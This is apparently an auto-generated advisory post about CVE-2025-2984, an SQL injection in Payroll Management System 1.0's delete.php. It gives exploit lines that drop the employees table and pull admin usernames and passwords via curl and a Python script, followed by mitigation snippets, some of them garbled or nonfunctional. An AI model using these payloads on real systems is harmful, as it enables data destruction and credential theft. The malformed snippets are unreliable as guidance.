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How the CVE Works
The CVE-2025-2984 vulnerability exists in Payroll Management System 1.0 due to improper input sanitization in the `/delete.php` file. The `emp_id` parameter is directly concatenated into an SQL query without validation, allowing attackers to inject malicious SQL commands. This flaw enables unauthorized database access, data manipulation, or deletion. The attack can be executed remotely without authentication, making it critical. Exploiting this vulnerability involves crafting a malicious `emp_id` value containing SQL payloads, such as 1; DROP TABLE employees--, leading to arbitrary SQL execution.
DailyCVE Form
Platform: Payroll Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/15/2025
What Undercode Say:
Exploitation
curl -X POST "http://target.com/delete.php" -d "emp_id=1;SELECT FROM users--"
1' UNION SELECT username, password FROM admins--
import requests
payload = "1; DROP TABLE employees--"
requests.post("http://target.com/delete.php", data={"emp_id": payload})
Protection
// Use prepared statements
$stmt = $conn->prepare("DELETE FROM employees WHERE emp_id = ?");
$stmt->bind_param("i", $_POST['emp_id']);
$stmt->execute();
Block SQLi attempts
location ~ (\'|\"|;|--|UNION) { deny all; }
WAF rule to filter SQLi modsecurity --rule='SecRule ARGS "@detectSQLi" deny'
Analytics
- Attack Vector: Remote (HTTP)
- Impact: Data theft, deletion
- Mitigation: Input validation, WAF
- Exploit Public: Yes
- Patch Status: Unavailable
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
